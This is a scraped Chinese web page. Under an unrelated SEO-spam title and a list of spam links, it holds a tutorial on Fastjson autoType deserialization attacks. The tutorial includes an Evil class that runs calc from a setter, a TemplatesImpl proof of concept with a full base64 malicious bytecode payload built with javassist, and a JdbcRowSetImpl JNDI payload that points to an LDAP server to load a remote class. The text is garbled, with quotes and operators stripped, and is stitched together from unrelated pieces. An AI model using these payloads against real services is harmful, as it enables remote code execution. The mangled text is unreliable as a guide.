当前位置: 首页 > news >正文

称心的常州网站建设泉州百度推广咨询

称心的常州网站建设,泉州百度推广咨询,网站服务器备案查询网站备案,网站制作模板百度网盘简介 FastJson 是 alibaba 的一款开源 JSON 解析库#xff0c;可用于将 Java 对象转换为其 JSON 表示形式#xff0c;也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONString和parseObject/parse来实现序列化和反序列化。 使用 对于序列化的方法toJSONStrin…简介 FastJson 是 alibaba 的一款开源 JSON 解析库可用于将 Java 对象转换为其 JSON 表示形式也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONString和parseObject/parse来实现序列化和反序列化。 使用 对于序列化的方法toJSONString()有多个重载形式。 SerializeFeature: 通过设置多个特性到FastjsonConfig中全局使用, 也可以在使用具体方法中指定特性 SerializeFilter: 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化 SerializeConfig: 添加特点类型自定义的序列化配置 对于反序列化的方法parseObject()也同样有多个重载形式。 【一一帮助安全学习所有资源获取处一一】 ①网络安全学习路线 ②20 份渗透测试电子书 ③安全攻防 357 页笔记 ④50 份安全攻防面试指南 ⑤安全红队渗透工具包 ⑥网络安全必备书籍 ⑦100 个漏洞实战案例 ⑧安全大厂内部视频资源 ⑨历年 CTF 夺旗赛题解析 序列化操作 可以发现这两个的区别如果使用了 toJSONString()的属性值SerializerFeature.WriteClassName就会在序列化的时候多写入一个type后面跟着的是反序列化的类名。 反序列化操作 package pers.fastjson; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject; public class UnSerialTest { public static void main(String[] args) { String jsonStringWithType {\type\:\pers.fastjson.Student\,\name\:\RoboTerh\}; String jsonStringWithoutType {\name\:\RoboTerh\};System.out.println(use JSON.parse with type......); Object o1 JSON.parse(jsonStringWithType); System.out.println(o1); System.out.println(------------------------------------);System.out.println(use JSON.parse without type....); Object o2 JSON.parse(jsonStringWithoutType); System.out.println(o2); System.out.println(-------------------------------------);System.out.println(use JSON.parseObject with type.......); JSONObject o3 JSON.parseObject(jsonStringWithType); System.out.println(o3); System.out.println(--------------------------------------);System.out.println(use JSON.parseObject without type.........); JSONObject o4 JSON.parseObject(jsonStringWithoutType); System.out.println(o4); System.out.println(----------------------------------------);System.out.println(use JSON.parseObject without type but hava .Class); Student o5 JSON.parseObject(jsonStringWithoutType, Student.class); System.out.println(o5); }}复制代码 可以通过结果发现 1 和 5 成功反序列化没成功都是因为没有确定需要反序列化的类。 我们可以发现在引入了type之后JSON.parseObject调用了getter/setter方法JSON.parse调用了setter方法。 当然其他的方式也是可以调用getter方法的但是有条件限制 条件一、方法名需要长于 4 条件二、不是静态方法条件三、以 get 字符串开头且第四个字符需要是大写字母条件四、方法不能有参数传条件五、继承自 Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong 条件六、此 getter 不能有 setter 方法程序会先将目标类中所有的 setter 加入 fieldList 列表因此可以通过读取 fieldList 列表来判断此类中的 getter 方法有没有 setter 因为fastjson存在autoType机制, 当用户指定type时, 存在调用恶意setter/getter的情况, 这就是fastjson反序列化漏洞。 简单的漏洞 //Evil.javapackage pers.fastjson; import java.io.IOException; public class Evil { private String name;public Evil () { System.out.println(构造方法); } public void setName(String name) throws IOException { this.name name; System.out.println(调用了setName方法); Runtime.getRuntime().exec(calc); } public String getName() { System.out.println(调用了getName方法); return name; }}复制代码 //EvilTest.javapackage pers.fastjson; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject; public class EvilTest { public static void main(String[] args) { String jsonString {\type\:\pers.fastjson.Evil\,\name\:\RoboTerh\}; JSONObject o JSON.parseObject(jsonString); System.out.println(o); }}复制代码 成功弹出了计算器 我们调式分析分析 在JSON.parseObject处下的断点。 首先使用了 parse()方法进行反序列化操作。 在JSON.parse(String text, int features)创建了DefaultJSONParser对象。 在成功创建了该对象之后通过判断ch是{ / [为 token 赋值这里是 12。 在DefaultJSONParser#parse方法中通过判断 token 的值进入创建了一个JSONObject对象。 进parseObject方法, 这里会通过scanSymbol获取到type指定类, 然后通过TypeUtils.loadClass方法加载Class. 先是首先在 maping 中寻找 JDK 的内置类没有找到之后使用 ClassLoader 寻找得到clazz的之后进行返回 创建了ObjectDeserializer并且调用了getDeserializer方法。 Templateslmpl 利用链 如果一个类中的getter满足调用条件而且存在可利用点攻击链就产生了。 在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中就存在一个私有变量_outputProperties他的getter方法就满足在反序列化的时候的调用条件。 分析利用链 从漏洞触发点开始Templateslmpl#getTransletInstance方法。 这里通过调用_class[_transletIndex]的newInstance()方法进行实例化操作我们追踪_class[_transletIndex]的出处看看是否可以控制进行恶意操作。 值得注意的是我们想要达到漏洞点在getTransletInstance()方法的两个 if 语句中我们需要保证他的_name这个私有属性不为空否则就直接返回了 null而不会达到漏洞点。 在第二个语句中就是通过defineTransletClasses()方法获得了_class和_transletIndex的值进入它。 首先判断_bytecodes是否为空这里的_bytecodes同样是Templateslmpl类的成员变量可控 如果这里不为空的话就会执行。 而且这里如果_tfactory不为空的话就会导致出现异常然后返回不会继续执行程序我们需要保证它不为 null虽然他也是Templateslmpl类的成员变量但是他没有对应的setter我们可以通过Feature.SupportNonPublicField来进行修改。 接着走在后面有一个 for 循环 通过loader.defineClass修饰之后将_bytecodes[i]赋值给_class[i]跟进 defineClass 方法。 他是ClassLoader的defineClass的重写作用是将字节码转化为 Class 转回defineTransletClasses在 if 判断语句中如果它是 main class 的时候我们就为_transletIndex赋值。 现在重新回到getTranslateInstance()方法现在这里的_class[_translateIndex]就是我们为_bytecodes赋值的恶意 class我们这里将他给实例化了成功利用恶意类 现在我们可以知道getTranslateInstance()是可以执行恶意类的我们搜索在Templateslmpl类中什么调用了这个方法的。 可以发现在newTransformer()方法中使用了 getTransletInstance()方法。 继续搜索在哪里调用了 newTransformer()方法。 在getOutputProperties()方法调用了他而且这个方法在反序列化的时候会被调用现在这个利用链就完整了。 //利用链getOutputProperties() newTransformer() getTransletInstance() defineTransletClasses() _class[_transletIndex].newInstance()复制代码 POC package pers.fastjson; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.codec.binary.Base64; import java.io.IOException; public class Fj24POC { public static class RoboTerh {} public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {ClassPool pool ClassPool.getDefault(); CtClass cc pool.get(RoboTerh.class.getName()); String cmd java.lang.Runtime.getRuntime().exec(\calc\);; cc.makeClassInitializer().insertBefore(cmd); String randomClassName RoboTerh System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); byte[] evilCodes cc.toBytecode();return Base64.encodeBase64String(evilCodes); }public static String exploitString() throws NotFoundException, CannotCompileException, IOException { String evilCodeBase64 makeClasses(); final String NASTY_CLASS com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; String exploit {RoboTerh:{ \type\:\ NASTY_CLASS \, \_bytecodes\:[\ evilCodeBase64 \], _name:RoboTerh, _tfactory:{ }, _outputProperties:{ } }}\n;return exploit; }public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { String exploit exploitString(); System.out.println(exploit); //JSON.parse(exploit, Feature.SupportNonPublicField); //JSON.parseObject(exploit, Feature.SupportNonPublicField); JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField); }}复制代码 //payload{RoboTerh:{type:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,_bytecodes:[yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQAQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk],_name:RoboTerh,_tfactory:{ },_outputProperties:{ }}}复制代码 条件限制 需要开启Feature.SupportNonPublicField这个特性。 JdbcRowSetImpl 利用链 分析利用链 JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImpl中它本身没有实现Serializeble接口但是他是BaseRowSet类的子类该类实现了该接口所以它可以进行序列化。 链子的核心触发点是javax.naming.InitialContext#lookup的参数可控造成的漏洞。 在JdbcRowSetImpl#setAutoCommit中如果this.conn为空的时候就会调用this.connect方法。 然后在 connect 方法中就会调用Javax.naming.InitialContext#lookup方法参数是dataSourceName成员变量。 //调用链JdbcRowSetImpl对象 getDataSource setAutocommit方法 context.lookup(datasourcename)复制代码 POC package pers.fastjson; import com.alibaba.fastjson.JSON; public class Fj24_Jdbc_POC { public static void main(String[] args) { String payload { \type\:\com.sun.rowset.JdbcRowSetImpl\, \dataSourceName\:\ldap://127.0.0.1:8888/EvilObject\, \autoCommit\:\true\, }; //JSON.parseObject(payload); 成功 //JSON.parse(payload); 成功 JSON.parseObject(payload, Object.class); }}复制代码 //payload{RoboTerh:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://127.0.0.1:8888/evilObject, autoCommit:true}}复制代码 条件限制 使用了 JNDI 注入利用条件相对较低但是需要连接远程恶意服务器需要在有网的情况下执行。
http://www.w-s-a.com/news/26573/

相关文章:

  • 有什么好的手机推荐网站创建网站需要哪些工作
  • 网站能给企业带来什么上饶市网站建设公司
  • 学做网站卖东西去哪学南宁网站建设gxjzdrj
  • 欧美网站建设案例网站开发 男生
  • 网站正在开发中做电子元器件的网站
  • 做网站搭建的公司中国建设银行官网站u盾证书
  • 大连哪里有手机自适应网站建设公司网站介绍模板 html
  • 佛山模板建站宣传片制作公司电话
  • 文字网站居中能自己做网站接业务吗
  • 免备案自助建站网站广州珈瑶公司是哪一年注册的
  • ps做网站界面wordpress为图片添加圆角
  • seo优化推广业务员招聘seo顾问服务福建
  • 成都私人网站建设seo网站推广方案策划书
  • 广州网站建设工作室wordpress log
  • 网站后台添加wordpress h1标签优化
  • 自己做网站都需要什么高密 网站建设
  • 网站语言选择郑州本地做团购的网站
  • dw网页设计模板图片谷歌wordpress优化
  • 网站seo优化要怎么做礼品公司怎么做网站
  • 做网页网站需要钱吗提供常州微信网站建设
  • 网站建设文化效果广东网站建设哪家有
  • 毕业设计做网站怎样做特别一点在线网页制作软件
  • html网站代码上海这边敲墙拆旧做啥网站的比较多
  • 微网站怎么用在线crm管理系统
  • 中国城乡建设部人力网站首页如何利用某个软件做一个网站
  • 个人承接网站建设wordpress editor
  • 建站主机 wordpress专业的菏泽网站建设公司
  • 网站响应时间 标准网站建设色调的
  • 网站开发的合同网站建设 设计
  • 网站开发设置网页端口申请免费个人网站空间